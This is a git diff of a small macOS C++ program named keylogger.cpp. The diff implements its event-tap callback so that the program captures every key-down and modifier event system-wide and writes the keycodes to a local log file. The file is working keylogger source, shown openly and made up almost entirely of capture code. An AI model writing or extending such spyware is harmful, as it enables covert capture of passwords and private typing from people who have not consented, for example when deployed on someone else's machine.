diff --git a/keylogger.cpp b/keylogger.cpp
index ed020d8..8ab2cf4 100644
--- a/keylogger.cpp
+++ b/keylogger.cpp
@@ -8,6 +8,7 @@
 using namespace std;
 
 const char *logfileLocation = "./keystroke.log";
+fstream logfile;
 CGEventRef CGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *);
 
 int main(int argc, const char *argv[]) {
@@ -25,12 +26,19 @@ int main(int argc, const char *argv[]) {
     CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
     CGEventTapEnable(eventTap, true);
 
-    ofstream logfile;
-    logfile.open(logfileLocation, ios::app);
-    logfile << "Keylogging started.";
+    logfile.open(logfileLocation, ios::out);
+    logfile << "Keylogging started.\n\n";
     CFRunLoopRun();
 
     return 0;
 }
 
-CGEventRef CGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {}
\ No newline at end of file
+CGEventRef CGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
+    if ((type != kCGEventKeyDown) && (type != kCGEventFlagsChanged)) { 
+        return event;
+    }
+    CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
+
+    logfile << keyCode;
+    return event;
+}
\ No newline at end of file